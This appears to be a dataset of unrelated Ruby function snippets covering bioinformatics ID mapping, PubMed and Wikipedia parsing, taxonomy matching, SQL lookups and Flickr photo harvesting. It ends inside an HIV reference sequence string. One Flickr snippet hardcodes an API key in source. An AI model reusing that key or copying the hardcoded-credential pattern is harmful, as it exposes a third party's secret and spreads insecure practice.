"def map_tgup_by_geneid()\n Dir.glob(\"#{$prepare_dir}/refg/*.dat\") do |input_file|\n refseq_gene_list = []\n gene_id_prefix = input_file.split(\"/\").last.split(\"\\.\").first\n puts \"gene_id prefix: #{gene_id_prefix}\"\n File.open(input_file) do |f|\n f.each_line do |line|\n columns = line.chomp.strip.split(\"\\t\")\n refseq_gene_list.push({taxid: columns[0], gene_rsrc: columns[1], gene_label: columns[2], protein_id: columns[3], gene_id: columns[4], gene_id_prefix: gene_id_prefix})\n end\n end\n\n up_list = load_up_refg(gene_id_prefix) # get same prefix data from UniProt\n refseq_gene_list.each do |refseq_data|\n match = false\n unless up_list.nil? # exist prefix list on UniProt\n match_list = up_list[refseq_data[:gene_id]]\n unless match_list.nil?\n match_list.each do |up_info|\n if refseq_data[:taxid] == up_info[:taxid]\n output_idmap(refseq_data, up_info[:upid])\n match = true\n end\n end\n end\n end\n if match == false\n $no_up += 1\n end\n end\n end\nend",
"def enhance_referent(body, request) \n doc = Nokogiri::XML(body)\n return unless cite = doc.at(\"PubmedArticleSet/PubmedArticle/MedlineCitation\") # Nothing of interest here\n \n return unless article = cite.at(\"Article\") # No more useful metadata \n if abstract = article.at(\"Abstract/AbstractText\")\n request.add_service_response( \n :service=>self,\n :display_text => \"Abstract from #{@display_name}\",\n :content => abstract.inner_text,\n :service_type_value => 'abstract') unless abstract.inner_text.blank? \n end\n \n if journal = article.at(\"Journal\")\n if issn = journal.at('ISSN')\n if issn.attributes['issntype']==\"Print\" \n request.referent.enhance_referent('issn', issn.inner_html)\n else \n request.referent.enhance_referent('eissn', issn.inner_html) \n end\n end\n if jrnlissue = journal.at('JournalIssue')\n if volume = jrnlissue.at('Volume')\n request.referent.enhance_referent('volume', volume.inner_text)\n end\n if issue = jrnlissue.at('Issue')\n request.referent.enhance_referent('issue', issue.inner_text)\n end \n if date = jrnlissue.at('PubDate') \n \n request.referent.enhance_referent('date', openurl_date(date))\n \n end \n end\n \n if jtitle = journal.at('Title')\n request.referent.enhance_referent('jtitle', jtitle.inner_text) \n end\n if stitle = journal.at('ISOAbbreviation')\n request.referent.enhance_referent('stitle', stitle.inner_text)\n end \n \n if atitle = article.at('ArticleTitle')\n request.referent.enhance_referent('atitle', atitle.inner_text)\n end \n \n if pages = article.at('Pagination/MedlinePgn')\n page_str = pages.inner_text\n request.referent.enhance_referent('pages', page_str)\n if spage = page_str.split(\"-\")[0]\n request.referent.enhance_referent('spage', spage.strip)\n end\n end \n \n if author = article.at('AuthorList/Author')\n if last_name = author.at('LastName')\n request.referent.enhance_referent('aulast', last_name.inner_text)\n end\n if first_name = author.at('ForeName')\n request.referent.enhance_referent('aufirst', first_name.inner_text)\n end \n if initials = author.at('Initials')\n request.referent.enhance_referent('auinit', initials.inner_text)\n end \n end \n end \n \n end",
"def search_description_scrape\n @doc.search('.muted a').first(10).each do |description|\n @descriptions << description.text\n end\n check_for_results\n end",
"def tag_assocations(tags)\n x = []\n tags.each do |t|\n print \".\"; STDOUT.flush\n TAGS << t\n PSEUDS << t.last_wrangler.pseuds if t.last_wrangler.is_a? User\n TAGS << t.merger\n x << t.common_taggings\n TAGS << t.parents\n x << t.meta_taggings\n TAGS << t.meta_tags\n end\n x.flatten.compact.uniq\nend",
"def check_taxon antcat_reference, valid_hol_taxon, taxon\n\n antcat_protonym = taxon.protonym\n citation = antcat_protonym.authorship\n reference = citation.reference\n\n if !antcat_reference.nil? and antcat_reference.id == reference.id\n #puts \"References and name match - it's antcat taxon \" + taxon.id.to_s\n return taxon.id\n end\n\n first_author_name = reference.reference_author_names.first\n if !first_author_name.nil? and first_author_name.author_name.author_id ==\n valid_hol_taxon.antcat_author_id\n #puts \"Author match\"\n else\n # puts \"author mismatch - antcat: #{reference.reference_author_names.first.author_name.author_id} vs #{valid_hol_taxon.antcat_author_id}\"\n return nil\n end\n\n if reference.year == valid_hol_taxon.year\n #puts \"year match\"\n else\n # puts \"year mismatch antcat: #{reference.year} vs #{valid_hol_taxon.year}\"\n return nil\n\n end\n\n\n hol_start_page = valid_hol_taxon['start_page']\n hol_end_page = valid_hol_taxon['end_page']\n page_hash = get_page_from_string citation.pages\n\n unless page_hash.nil?\n start_page = page_hash[:start_page]\n end_page = page_hash[:end_page]\n if page_in_range hol_start_page, hol_end_page, start_page, end_page\n #puts \"page range match\"\n # puts \"Good match, no reference to antcat id #{taxon.id}\"\n return taxon.id\n else\n # puts \"pages mismatch\"\n return nil\n end\n end\n\n end",
"def links_iev2iec60050part(xmldoc)\n parts = Set.new\n xmldoc.xpath(IEVPATH).each do |x|\n m = x&.at(\".//locality[@type = 'clause']/referenceFrom\")&.text\n &.sub(/^(\\d+).*$/, \"\\\\1\") or next\n\n parts << m\n x[\"citeas\"] = @c.decode(x[\"citeas\"]).sub(/60050/, \"60050-#{m}\")\n x[\"bibitemid\"] = \"IEC60050-#{m}\"\n end\n parts\n end",
"def get_aphorisms\n Author.all.each do |author|\n site_author = get_html(\"http://www.aphorism4all.com/\" + author.url)\n site_author.css('#content strong').each do |node|\n aphorism = node.inner_text.strip\n unless aphorism =~ /^Pages/\n author.aphorisms.find_or_create_by(aphorism: aphorism)\n end\n end\n end\nend",
"def find_photo_by_machinetag(plaque, flickr_user_id)\n# key = FLICKR_KEY # \"86c115028094a06ed5cd19cfe72e8f8b\"\n key = \"86c115028094a06ed5cd19cfe72e8f8b\"\n content_type = \"1\" # Photos only\n machine_tag_key = \"openplaques:id=\".to_s\n if (plaque)\n machine_tag_key += plaque.id.to_s\n end\n\n flickr_url = \"https://api.flickr.com/services/rest/\"\n method = \"flickr.photos.search\"\n license = \"1,2,3,4,5,6,7\" # All the CC licencses that allow commercial re-use\n\n 20.times do |page|\n\n url = flickr_url + \"?api_key=\" + key + \"&method=\" + method + \"&page=\" + page.to_s + \"&license=\" + license + \"&content_type=\" + content_type + \"&machine_tags=\" + machine_tag_key + \"&extras=date_taken,owner_name,license,geo,machine_tags\"\n\n if (flickr_user_id)\n url += \"&user_id=\" + flickr_user_id\n end\n puts url\n\n new_photos_count = 0\n response = open(url)\n doc = REXML::Document.new(response.read)\n doc.elements.each('//rsp/photos/photo') do |photo|\n print \".\"\n $stdout.flush\n\n @photo = nil\n\n file_url = \"http://farm\" + photo.attributes[\"farm\"] + \".staticflickr.com/\" + photo.attributes[\"server\"] + \"/\" + photo.attributes[\"id\"] + \"_\" + photo.attributes[\"secret\"] + \"_z.jpg\"\n photo_url = \"http://www.flickr.com/photos/\" + photo.attributes[\"owner\"] + \"/\" + photo.attributes[\"id\"] + \"/\"\n\n @photo = Photo.find_by_url(photo_url)\n\n if @photo\n else\n plaque_id = photo.attributes[\"machine_tags\"][/openplaques\\:id\\=(\\d+)/, 1]\n\n puts photo.attributes[\"title\"]\n\n @plaque = Plaque.find(:first, :conditions => {:id => plaque_id})\n if @plaque\n @photo = Photo.new\n @photo.plaque = @plaque\n @photo.file_url = file_url\n @photo.url = photo_url\n @photo.taken_at = photo.attributes[\"datetaken\"]\n @photo.photographer_url = photo_url = \"http://www.flickr.com/photos/\" + photo.attributes[\"owner\"] + \"/\"\n @photo.photographer = photo.attributes[\"ownername\"]\n if photo.attributes[\"license\"] == \"4\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by/2.0/\")\n elsif photo.attributes[\"license\"] == \"6\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nd/2.0/\")\n elsif photo.attributes[\"license\"] == \"3\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nc-nd/2.0/\")\n elsif photo.attributes[\"license\"] == \"2\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nc/2.0/\")\n elsif photo.attributes[\"license\"] == \"1\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nc-sa/2.0/\")\n elsif photo.attributes[\"license\"] == \"5\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-sa/2.0/\")\n elsif photo.attributes[\"license\"] == \"7\"\n @photo.licence = Licence.find_by_url(\"http://www.flickr.com/commons/usage/\")\n elsif photo.attributes[\"license\"] == \"0\"\n @photo.licence = Licence.find_by_url(\"http://en.wikipedia.org/wiki/All_rights_reserved/\")\n else\n puts \"Couldn't find license\"\n end\n if @photo.save\n new_photos_count += 1\n puts \"New photo found and saved\"\n else\n# puts \"Error saving photo\" + @photo.errors.each_full{|msg| puts msg }\n end\n\n if photo.attributes[\"latitude\"] != \"0\" && photo.attributes[\"longitude\"] != \"0\" && !@plaque.geolocated?\n puts \"New geolocation found\"\n @plaque.latitude = photo.attributes[\"latitude\"]\n @plaque.longitude = photo.attributes[\"longitude\"]\n if @plaque.save\n puts \"New geolocation added to photo\"\n else\n puts \"Error adding geolocation to photo\" + plaque.errors.full_messages.to_s #methods.join(\" \")\n end\n end\n else\n puts \"Photo's machine tag doesn't match a plaque.\"\n end\n end\n end\n end\n end",
"def find_tags\n @find_tags = true\n end",
"def get_viaf( field )\n @viafs = {}\n raw_corporate = field.join(' ')\n @nsubs = field.map{ |sf| Normalize.corporate(sf) }\n @ncorp = Normalize.corporate(@nsubs.join(' '), false)\n #1. check main headings for exact matches\n #stupid encoding\n encoding_options = {\n :invalid => :replace,\n :undef => :replace,\n :replace => '',\n }\n ncorp_escaped = @db_conn.escape(@ncorp.encode(Encoding.find('ASCII'), encoding_options))\n @results = @db_conn.query(\"SELECT viaf_id, heading FROM viaf_headings \n WHERE heading_normalized = '#{ncorp_escaped}'\") \n @results.each do | row |\n if @viafs.has_key? row['viaf_id'] \n @viafs[row['viaf_id']].push row['heading'] #heading\n else\n @viafs[row['viaf_id']] = [row['heading']]\n end\n #viafs[:match_type] = 'main heading'\n end\n if @viafs.count > 0 \n return @viafs #good enough\n end\n\n #2. search the corporates (110s)\n @results = @db_conn.query(\"SELECT vc.viaf_id, raw_corporate, heading FROM viaf_corporates vc \n LEFT JOIN viaf_headings vh ON vh.viaf_id = vc.viaf_id \n WHERE normalized_corporate = '#{ncorp_escaped}'\")\n @results.each do | row |\n if @viafs.has_key? row['vc.viaf_id']\n @viafs[row['vc.viaf_id']].push row['heading'] #heading\n else\n @viafs[row['vc.viaf_id']] = [row['heading']]\n end\n #viafs[:match_type] = \"corporate (110)\"\n end\n if @viafs.count > 0\n return @viafs #good enough\n end\n\n ##\n # Calculate best fit somehow? \n # eh, whatever\n return @viafs\n\n end",
"def match_antcat_taxon valid_hol_taxon\n puts \"Starting to try to match: \" + valid_hol_taxon.name\n if valid_hol_taxon.antcat_name_id.nil?\n if !valid_hol_taxon.year.nil? and valid_hol_taxon.year >= 2014\n puts \"Hey, this might be new! I can't find the name, and it's 2014 or later!\"\n else\n puts \"no name match\"\n return nil\n end\n end\n\n\n #\n # We have a name, what's missing?\n #\n unless valid_hol_taxon.antcat_protonym_id.nil?\n puts \"What the hell - we have a protonym and we can't figure this out?\"\n end\n @antcat_reference=nil\n if valid_hol_taxon.antcat_reference_id\n puts \"We have a full reference.. that includes year, page range, and author.\"\n @antcat_reference = Reference.find valid_hol_taxon.antcat_reference_id\n\n else\n puts \"No reference listed.\"\n end\n\n\n\n candidate_taxa = Taxon.where(name_id: valid_hol_taxon.antcat_name_id)\n puts \"Checking #{candidate_taxa.length} taxa for matches\"\n\n\n candidate_taxa.each do |taxon|\n taxon_id = check_taxon @antcat_reference, valid_hol_taxon, taxon\n\n # Check antcat synonyms\n if taxon_id.nil?\n taxon.junior_synonyms.each do |synonym|\n puts \"Checking synonym as junior_synonyms #{synonym.name_cache}\"\n\n taxon_id = check_taxon @antcat_reference, valid_hol_taxon, synonym\n end\n end\n if taxon_id.nil?\n taxon.senior_synonyms.each do |synonym|\n puts \"Checking synonym as senior_synonyms #{synonym.name_cache}\"\n taxon_id = check_taxon @antcat_reference, valid_hol_taxon, synonym\n end\n end\n unless taxon_id.nil?\n return taxon_id\n end\n end\n\n puts (\"=============== match failed\")\n nil\n end",
"def map_tgup_by_proteinid()\n # output unmatch list for map by gene_id (prefix of gene_id is first char of gene_id. (\"1\", \"2\", ..))\n refg_output = {}\n FileUtils.mkdir_p(\"#{$prepare_dir}/refg\") unless File.exist?(\"#{$prepare_dir}/refg\")\n (1..9).each do |prefix|\n refg_output[prefix.to_s] = File.open(\"#{$prepare_dir}/refg/#{prefix.to_s}.dat\", \"w\")\n end\n\n output_header\n\n # try mapping the same prefix of RefSeq data and UniProt data(for performance)\n Dir.glob(\"#{$prepare_dir}/refp/*.dat\") do |input_file|\n # parse data\n refseq_gene_list = []\n protein_id_prefix = input_file.split(\"/\").last.split(\"\\.\").first\n puts \"protein_id prefix: #{protein_id_prefix}\"\n File.open(input_file) do |f|\n f.each_line do |line|\n columns = line.chomp.strip.split(\"\\t\")\n gene_id_prefix = columns[4].nil? ? \"\" : columns[4][0]\n refseq_gene_list.push({taxid: columns[0], gene_rsrc: columns[1], gene_label: columns[2], protein_id: columns[3], gene_id: columns[4], gene_id_prefix: gene_id_prefix})\n end\n end\n\n $count_nc += refseq_gene_list.size if protein_id_prefix == \"no_protein_id\" # no protein_id on RefSeq\n up_list = load_up_refp(protein_id_prefix) # get same prefix data from UniProt\n\n refseq_gene_list.each do |refseq_data|\n match = false\n output_tax(refseq_data) # output all gene-tax turtle\n unless up_list.nil? # exist prefix on UniProt\n match_list = up_list[refseq_data[:protein_id]]\n unless match_list.nil? # match some uniprot_ids\n match_list.each do |up_info|\n if refseq_data[:taxid] == up_info[:taxid] # ignore unmatch tax\n output_idmap(refseq_data, up_info[:upid])\n match = true\n else # match protein_id but not match tax_id\n output_uptax(up_info)\n $taxup_list[up_info[:taxid]] = true\n $tax_mismatch[\"#{refseq_data[:taxid]}-#{up_info[:taxid]} : #{refseq_data[:protein_id]}\"] = true\n end\n end\n end\n end\n if match == false\n if refseq_data[:gene_id_prefix].nil? ||refseq_data[:gene_id_prefix] == \"\" # can't salvage it by gene_id.\n $no_up += 1\n else # output a file to each prefix of gene_id that can be salvaged by gene_id\n line = [refseq_data[:taxid], refseq_data[:gene_rsrc], refseq_data[:gene_label], refseq_data[:protein_id], refseq_data[:gene_id], refseq_data[:gene_id_prefix]]\n refg_output[refseq_data[:gene_id_prefix]].puts(line.join(\"\\t\"))\n end\n end\n $count += 1\n end\n end\n refg_output.each do |k, v|\n v.flush\n v.close\n end\nend",
"def get_related_tags(tag)\r\n\t\tsimilar_tags = lastfm.tag.get_similar(tag)\r\n\t\tputs tag + \" had these similar tags: \" + similar_tags\r\n\t\tsimilar_tags.each do |st|\r\n\t\t\t@db.execute \"INSERT INTO xref_tag_relations (tag_a, tag_b) VALUES (?,?)\", tag, st\r\n\t\tend\r\n\r\n\tend",
"def add_tags_to_verses(document, text)\n html = text.to_str\n html.gsub!(/data-srcid\\s?=\\s?['\"](.*?)['\"]/) do |match|\n tagid = DmKnowledge::Document.tagcontext_from_srcid($1)\n tag_list = document.tag_list_on(tagid)\n unless tag_list.empty?\n \"#{match} data-tags='#{tag_list.to_json}' data-tagid='#{tagid}'\"\n else\n match\n end\n end\n html.html_safe\n end",
"def affiliations\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('affiliations',:node => node_id)\n )\n )\n send_iq_stanza_fibered iq\n end",
"def get_tags_n_text_from_article(article_id)\n s = resolve_redirects_n_read(article_id)\n return [[], nil] if s.nil?\n\n s = \"<article>\" + s + \"</article>\"\n reader = Nokogiri::XML::Reader(s)\n text = \"\"\n reader.each do |node|\n if node.name == \"text\" &&\n node.node_type == Nokogiri::XML::Reader::TYPE_ELEMENT\n text = node.inner_xml\n end\n end\n\n # Lets get only the stuff till the first subsection \"==\"\n #summary_text = text.gsub /^==.*/m, ''\n\n # Remove headings\n text.gsub! /\\=\\=\\=\\=.*?\\=\\=\\=/, ''\n text.gsub! /\\=\\=\\=.*?\\=\\=\\=/, ''\n text.gsub! /\\=\\=.*?\\=\\=/, ''\n # Remove references\n text.gsub! /<ref>.*?<\\/ref>/, ''\n text.gsub! /<ref;.*?>/, ''\n text.gsub! /<ref.*?>/, ''\n # Remove all Category links\n text.gsub! /\\[\\[Category:.*?\\]\\]/, ''\n # Remove everything between < and >\n text.gsub! /<.*?>/, ''\n # Remove this crappy nowrap markup\n text.gsub! /{{nowrap end}}}}/, ''\n # Remove everything in {{ }} - citation/references\n text.gsub! /{{.*?}}/, ''\n # Remove everything in {{ ^}} - Infobox\n text.gsub! /{{Infobox.*?^}}/m, ''\n text.gsub! /{{Persondata.*?^}}/m, ''\n # Convert [[Alps|Alpine]] to [[Alpine]]\n text.gsub! /\\[\\[[^\\[]*?\\|(.*?)\\]\\]/, '[[\\1]]'\n # Get tags - all stuff which is in [[ ]]\n link_tags = text.scan /\\[\\[(.*?)\\]\\]/\n # get the strings out of the arrays\n link_tags.map! { |e| e[0] }\n # Remove tags which have \"|\" or \"[\" or \"]\"\n link_tags.reject! { |e| e =~ /\\||\\[|\\]/}\n # Convert all tags to lowercase\n link_tags.map! { |e| e.downcase }\n \n # Convert [[Alpine]] to Alpine\n text.gsub! /\\[\\[(.*?)\\]\\]/, '\\1'\n # Remove ''' '''\n text.gsub! /\\'\\'\\'(.*?)\\'\\'\\'/, '\\1'\n # Remove '' ''\n text.gsub! /\\'\\'(.*?)\\'\\'/, '\\1'\n # Remove \" and *\n text.gsub! /\"|\\*/, ''\n # Remove ( )\n text.gsub! /\\(|\\)/, ''\n # Remove anything with [ ] - usually links etc\n text.gsub! /\\[.*?\\]/, ''\n # Remove any remaining }}\n text.gsub! /}}/, ''\n\n # Replace newlines with spaces\n text.gsub! /\\n/, ' '\n\n return link_tags, text\n \n rescue Exception => e\n print \" !!! get_tags_n_text_from_article(): #{e}\\n\"\n return [[], nil]\n end",
"def find_photo_by_machinetag(plaque)\n key = FLICKR_KEY # \"86c115028094a06ed5cd19cfe72e8f8b\"\n content_type = \"1\" # Photos only\n machine_tag_key = \"openplaques:id=\".to_s\n if (plaque)\n machine_tag_key += plaque.id.to_s\n end \n \n flickr_url = \"http://api.flickr.com/services/rest/\"\n method = \"flickr.photos.search\" \n license = \"1,2,3,4,5,6,7\" # All the CC licencses that allow commercial re-use \n \n url = flickr_url + \"?api_key=\" + key + \"&method=\" + method + \"&license=\" + license + \"&content_type=\" + content_type + \"&machine_tags=\" + machine_tag_key + \"&extras=date_taken,owner_name,license,geo,machine_tags\"\n \n puts url\n \n new_photos_count = 0\n response = open(url)\n doc = REXML::Document.new(response.read)\n doc.elements.each('//rsp/photos/photo') do |photo|\n print \".\"\n $stdout.flush\n \n @photo = nil\n\n file_url = \"http://farm\" + photo.attributes[\"farm\"] + \".static.flickr.com/\" + photo.attributes[\"server\"] + \"/\" + photo.attributes[\"id\"] + \"_\" + photo.attributes[\"secret\"] + \"_m.jpg\"\n photo_url = \"http://www.flickr.com/photos/\" + photo.attributes[\"owner\"] + \"/\" + photo.attributes[\"id\"] + \"/\"\n\n @photo = Photo.find_by_url(photo_url)\n \n if @photo\n else\n plaque_id = photo.attributes[\"machine_tags\"][/openplaques\\:id\\=(\\d+)/, 1]\n \n puts photo.attributes[\"title\"]\n \n @plaque = Plaque.find(:first, :conditions => {:id => plaque_id})\n if @plaque\n @photo = Photo.new\n @photo.plaque = @plaque\n @photo.file_url = file_url\n @photo.url = photo_url\n @photo.taken_at = photo.attributes[\"datetaken\"]\n @photo.photographer_url = photo_url = \"http://www.flickr.com/photos/\" + photo.attributes[\"owner\"] + \"/\"\n @photo.photographer = photo.attributes[\"ownername\"]\n if photo.attributes[\"license\"] == \"4\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by/2.0/\")\n elsif photo.attributes[\"license\"] == \"6\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nd/2.0/\")\n elsif photo.attributes[\"license\"] == \"3\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nc-nd/2.0/\")\n elsif photo.attributes[\"license\"] == \"2\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nc/2.0/\")\n elsif photo.attributes[\"license\"] == \"1\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nc-sa/2.0/\")\n elsif photo.attributes[\"license\"] == \"5\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-sa/2.0/\")\n elsif photo.attributes[\"license\"] == \"7\"\n @photo.licence = Licence.find_by_url(\"http://www.flickr.com/commons/usage/\")\n else\n puts \"Couldn't find license\"\n end\n if @photo.save\n new_photos_count += 1\n puts \"New photo found and saved\"\n else\n# puts \"Error saving photo\" + @photo.errors.each_full{|msg| puts msg }\n end\n\n if photo.attributes[\"latitude\"] != \"0\" && photo.attributes[\"longitude\"] != \"0\" && !@plaque.geolocated?\n puts \"New geolocation found\"\n @plaque.latitude = photo.attributes[\"latitude\"]\n @plaque.longitude = photo.attributes[\"longitude\"]\n @plaque.accuracy = 'flickr'\n if @plaque.save\n puts \"New geolocation added to photo\"\n else\n puts \"Error adding geolocation to photo\" + plaque.errors.full_messages.to_s #methods.join(\" \")\n end\n end \n else\n puts \"Photo's machine tag doesn't match a plaque.\" \n end\n end\n end\n end",
"def NL43_locator(seq=\"\",temp_dir=File.dirname($0))\n hxb2_ref = \"TGGAAGGGCTAATTTGGTCCCAAAAAAGACAAGAGATCCTTGATCTGTGGATCTACCACACACAAGGCTACTTCCCTGATTGGCAGAACTACACACCAGGGCCAGGGATCAGATATCCACTGACCTTTGGATGGTGCTTCAAGTTAGTACCAGTTGAACCAGAGCAAGTAGAAGAGGCCAAATAAGGAGAGAAGAACAGCTTGTTACACCCTATGAGCCAGCATGGGATGGAGGACCCGGAGGGAGAAGTATTAGTGTGGAAGTTTGACAGCCTCCTAGCATTTCGTCACATGGCCCGAGAGCTGCATCCGGAGTACTACAAAGACTGCTGACATCGAGCTTTCTACAAGGGACTTTCCGCTGGGGACTTTCCAGGGAGGTGTGGCCTGGGCGGGACTGGGGAGTGGCGAGCCCTCAGATGCTACATATAAGCAGCTGCTTTTTGCCTGTACTGGGTCTCTCTGGTTAGACCAGATCTGAGCCTGGGAGCTCTCTGGCTAACTAGGGAACCCACTGCTTAAGCCTCAATAAAGCTTGCCTTGAGTGCTCAAAGTAGTGTGTGCCCGTCTGTTGTGTGACTCTGGTAACTAGAGATCCCTCAGACCCTTTTAGTCAGTGTGGAAAATCTCTAGCAGTGGCGCCCGAACAGGGACTTGAAAGCGAAAGTAAAGCCAGAGGAGATCTCTCGACGCAGGACTCGGCTTGCTGAAGCGCGCACGGCAAGAGGCGAGGGGCGGCGACTGGTGAGTACGCCAAAAATTTTGACTAGCGGAGGCTAGAAGGAGAGAGATGGGTGCGAGAGCGTCGGTATTAAGCGGGGGAGAATTAGATAAATGGGAAAAAATTCGGTTAAGGCCAGGGGGAAAGAAACAATATAAACTAAAACATATAGTATGGGCAAGCAGGGAGCTAGAACGATTCGCAGTTAATCCTGGCCTTTTAGAGACATCAGAAGGCTGTAGACAAATACTGGGACAGCTACAACCATCCCTTCAGACAGGATCAGAAGAACTTAGATCATTATATAATACAATAGCAGTCCTCTATTGTGTGCATCAAAGGATAGATGTAAAAGACACCAAGGAAGCCTTAGATAAGATAGAGGAAGAGCAAAACAAAAGTAAGAAAAAGGCACAGCAAGCAGCAGCTGACACAGGAAACAACAGCCAGGTCAGCCAAAATTACCCTATAGTGCAGAACCTCCAGGGGCAAATGGTACATCAGGCCATATCACCTAGAACTTTAAATGCATGGGTAAAAGTAGTAGAAGAGAAGGCTTTCAGCCCAGAAGTAATACCCATGTTTTCAGCATTATCAGAAGGAGCCACCCCACAAGATTTAAATACCATGCTAAACACAGTGGGGGGACATCAAGCAGCCATGCAAATGTTAAAAGAGACCATCAATGAGGAAGCTGCAGAATGGGATAGATTGCATCCAGTGCATGCAGGGCCTATTGCACCAGGCCAGATGAGAGAACCAAGGGGAAGTGACATAGCAGGAACTACTAGTACCCTTCAGGAACAAATAGGATGGATGACACATAATCCACCTATCCCAGTAGGAGAAATCTATAAAAGATGGATAATCCTGGGATTAAATAAAATAGTAAGAATGTATAGCCCTACCAGCATTCTGGACATAAGACAAGGACCAAAGGAACCCTTTAGAGACTATGTAGACCGATTCTATAAAACTCTAAGAGCCGAGCAAGCTTCACAAGAGGTAAAAAATTGGATGACAGAAACCTTGTTGGTCCAAAATGCGAACCCAGATTGTAAGACTATTTTAAAAGCATTGGGACCAGGAGCGACACTAGAAGAAATGATGACAGCATGTCAGGGAGTGGGGGGACCCGGCCATAAAGCAAGAGTTTTGGCTGAAGCAATGAGCCAAGTAACAAATCCAGCTACCATAATGATACAGAAAGGCAATTTTAGGAACCAAAGAAAGACTGTTAAGTGTTTCAATTGTGGCAAAGAAGGGCACATAGCCAAAAATTGCAGGGCCCCTAGGAAAAAGGGCTGTTGGAAATGTGGAAAGGAAGGACACCAAATGAAAGATTGTACTGAGAGACAGGCTAATTTTTTAGGGAAGATCTGGCCTTCCCACAAGGGAAGGCCAGGGAATTTTCTTCAGAGCAGACCAGAGCCAACAGCCCCACCAGAAGAGAGCTTCAGGTTTGGGGAAGAGACAACAACTCCCTCTCAGAAGCAGGAGCCGATAGACAAGGAACTGTATCCTTTAGCTTCCCTCAGATCACTCTTTGGCAGCGACCCCTCGTCACAATAAAGATAGGGGGGCAATTAAAGGAAGCTCTATTAGATACAGGAGCAGATGATACAGTATTAGAAGAAATGAATTTGCCAGGAAGATGGAAACCAAAAATGATAGGGGGAATTGGAGGTTTTATCAAAGTAAGACAGTATGATCAGATACTCATAGAAATCTGCGGACATAAAGCTATAGGTACAGTATTAGTAGGACCTACACCTGTCAACATAATTGGAAGAAATCTGTTGACTCAGATTGGCTGCACTTTAAATTTTCCCATTAGTCCTATTGAGACTGTACCAGTAAAATTAAAGCCAGGAATGGATGGCCCAAAAGTTAAACAATGGCCATTGACAGAAGAAAAAATAAAAGCATTAGTAGAAATTTGTACAGAAATGGAAAAGGAAGGAAAAATTTCAAAAATTGGGCCTGAAAATCCATACAATACTCCAGTATTTGCCATAAAGAAAAAAGACAGTACTAAATGGAGAAAATTAGTAGATTTCAGAGAACTTAATAAGAGAACTCAAGATTTCTGGGAAGTTCAATTAGGAATACCACATCCTGCAGGGTTAAAACAGAAAAAATCAGTAACAGTACTGGATGTGGGCGATGCATATTTTTCAGTTCCCTTAGATAAAGACTTCAGGAAGTATACTGCATTTACCATACCTAGTATAAACAATGAGACACCAGGGATTAGATATCAGTACAATGTGCTTCCACAGGGATGGAAAGGATCACCAGCAATATTCCAGTGTAGCATGACAAAAATCTTAGAGCCTTTTAGAAAACAAAATCCAGACATAGTCATCTATCAATACATGGATGATTTGTATGTAGGATCTGACTTAGAAATAGGGCAGCATAGAACAAAAATAGAGGAACTGAGACAACATCTGTTGAGGTGGGGATTTACCACACCAGACAAAAAACATCAGAAAGAACCTCCATTCCTTTGGATGGGTTATGAACTCCATCCTGATAAATGGACAGTACAGCCTATAGTGCTGCCAGAAAAGGACAGCTGGACTGTCAATGACATACAGAAATTAGTGGGAAAATTGAATTGGGCAAGTCAGATTTATGCAGGGATTAAAGTAAGGCAATTATGTAAACTTCTTAGGGGAACCAAAGCACTAACAGAAGTAGTACCACTAACAGAAGAAGCAGAGCTAGAACTGGCAGAAAACAGGGAGATTCTAAAAGAACCGGTACATGGAGTGTATTATGACCCATCAAAAGACTTAATAGCAGAAATACAGAAGCAGGGGCAAGGCCAATGGACATATCAAATTTATCAAGAGCCATTTAAAAATCTGAAAACAGGAAAATATGCAAGAATGAAGGGTGCCCACACTAATGATGTGAAACAATTAACAGAGGCAGTACAAAAAATAGCCACAGAAAGCATAGTAATATGGGGAAAGACTCCTAAATTTAAATTACCCATACAAAAGGAAACATGGGAAGCATGGTGGACAGAGTATTGGCAAGCCACCTGGATTCCTGAGTGGGAGTTTGTCAATACCCCTCCCTTAGTGAAGTTATGGTACCAGTTAGAGAAAGAACCCATAATAGGAGCAGAAACTTTCTATGTAGATGGGGCAGCCAATAGGGAAACTAAATTAGGAAAAGCAGGATATGTAACTGACAGAGGAAGACAAAAAGTTGTCCCCCTAACGGACACAACAAATCAGAAGACTGAGTTACAAGCAATTCATCTAGCTTTGCAGGATTCGGGATTAGAAGTAAACATAGTGACAGACTCACAATATGCATTGGGAATCATTCAAGCACAACCAGATAAGAGTGAATCAGAGTTAGTCAGTCAAATAATAGAGCAGTTAATAAAAAAGGAAAAAGTCTACCTGGCATGGGTACCAGCACACAAAGGAATTGGAGGAAATGAACAAGTAGATGGGTTGGTCAGTGCTGGAATCAGGAAAGTACTATTTTTAGATGGAATAGATAAGGCCCAAGAAGAACATGAGAAATATCACAGTAATTGGAGAGCAATGGCTAGTGATTTTAACCTACCACCTGTAGTAGCAAAAGAAATAGTAGCCAGCTGTGATAAATGTCAGCTAAAAGGGGAAGCCATGCATGGACAAGTAGACTGTAGCCCAGGAATATGGCAGCTAGATTGTACACATTTAGAAGGAAAAGTTATCTTGGTAGCAGTTCATGTAGCCAGTGGATATATAGAAGCAGAAGTAATTCCAGCAGAGACAGGGCAAGAAACAGCATACTTCCTCTTAAAATTAGCAGGAAGATGGCCAGTAAAAACAGTACATACAGACAATGGCAGCAATTTCACCAGTACTACAGTTAAGGCCGCCTGTTGGTGGGCGGGGATCAAGCAGGAATTTGGCATTCCCTACAATCCCCAAAGTCAAGGAGTAATAGAATCTATGAATAAAGAATTAAAGAAAATTATAGGACAGGTAAGAGATCAGGCTGAACATCTTAAGACAGCAGTACAAATGGCAGTATTCATCCACAATTTTAAAAGAAAAGGGGGGATTGGGGGGTACAGTGCAGGGGAAAGAATAGTAGACATAATAGCAACAGACATACAAACTAAAGAATTACAAAAA